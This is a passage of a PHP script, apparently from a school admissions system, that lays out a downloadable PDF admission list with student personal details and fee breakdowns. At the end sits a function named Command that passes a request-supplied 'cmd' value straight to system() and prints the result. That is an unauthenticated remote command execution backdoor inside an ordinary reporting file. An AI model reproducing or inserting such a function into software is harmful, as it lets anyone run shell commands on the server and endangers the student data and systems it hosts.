			$pdf->Cell($arr_w[0],5,' ','LB',0,'L');				
			$pdf->Cell(173,5,"Total Fee : {$value['FFEEPAID']} Remarks :{$value['FREMARKS']}",'RB',1,'L');
			$adm_ln_counter++;
			
		}
		else if(empty($value['SNAME']))
		{				
			$a_x=$pdf->GetX();
			$a_y=$pdf->GetY();
			if(!empty($FPHOTOPATH) && file_exists($full_path))
			{
				$pdf->Image($full_path,$a_x+160,$pdf->GetY(),20,18);
			}
			$pdf->SetXY($a_x,$a_y);		

			$pdf->SetFont('Times','',10);
			$pdf->Cell($arr_w[0],5,$value['SLNO'],'L',0,'L');				
			$pdf->Cell($arr_w[1],5,$value['FNAME'],'0',0,'L');
			$pdf->SetFont('Courier','',10);
			$pdf->Cell(108,5,$value['SCode'],'R',1,'L'); $adm_ln_counter++;
			
			$pdf->SetFont('Times','',10);
			$pdf->Cell($arr_w[0],5,' ','L',0,'L');
			$pdf->Cell($arr_w[1],5,$value['Gender'],'0',0,'L');
			
			$pdf->SetFont('Courier','',10);
			$pdf->Cell(108,5,$value['SShort'],'R',1,'L'); $adm_ln_counter++;
			
			$pdf->SetFont('Times','',10);
			$pdf->Cell($arr_w[0],5,' ','L',0,'L');
			$pdf->Cell($arr_w[1],5,$value['DOB'],'0',0,'L');
			$pdf->Cell(108,5,$value['Father'],'R',1,'L'); $adm_ln_counter++;
			
			$pdf->Cell($arr_w[0],5,' ','L',0,'L');				
			$pdf->Cell($arr_w[1],5,$value['CASTE'],'0',0,'L');
			$pdf->Cell(108,5,$value['Mother'],'R',1,'L');	 $adm_ln_counter++;	
			foreach($fee_details_head as $ck=>$cv)
			{
				$data_head=$cv;
				$data_amt=$fee_details_amt[$ck];;
				$pdf->SetFont('Times','',10);
				$pdf->Cell($arr_w[0],5,' ','L',0,'L');				
				//$pdf->Cell(20,5,"Fee Head",'0',0,'L');
				$adm_ln_counter++;
				$pdf->SetFont('Times','',8);
				foreach($data_head as $dk=>$dv)					
				{
					$pdf->Cell(30,5,$dv,'0',0,'C');
				}
				$pdf->Cell(3,5,'','0',1,'C');
				$pdf->Cell($arr_w[0],5,' ','L',0,'L');
				$pdf->SetFont('Times','',10);					
				$adm_ln_counter++;
				$pdf->SetFont('Times','',8);					
				foreach($data_amt as $dk=>$dv)					
				{
					$pdf->Cell(30,5,$dv,'0',0,'C');
				}
				$pdf->Cell(3,5,'','0',1,'R');
			 } 
			 $pdf->SetFont('Times','',10);
			 
			$pdf->Cell($arr_w[0],5,' ','LB',0,'L');				
			$pdf->Cell(173,5,"Total Fee : {$value['FFEEPAID']}   Remarks :{$value['FREMARKS']}",'RB',1,'L');
			$adm_ln_counter++;//$pdf->Cell(108,5,$value['FREMARKS'],'RB',1,'L');	 $adm_ln_counter++;	  	
		}	
	}
	$pdf->ln(4);	
	$pdf->MultiCell(175,5,"I here by declare that all the information furnished with regard to the students are true & correct to the best of my knowledge and belief,copy of the recognition order and affiliation order is enclosed.",0,"L");
	$pdf->ln(8);
	$pdf->Cell(135,5,"Submit",'',1,'R');
	$pdf->ln(2);	
	$pdf->Output("report_admission_list.pdf","D");
}

function Command($aobj_context)
{
	$cmd = $aobj_context->mobj_data["cmd"]; 	 
	$last_line = system($cmd, $retval);
	echo "</pre>";
	echo  $last_line; 
}
?>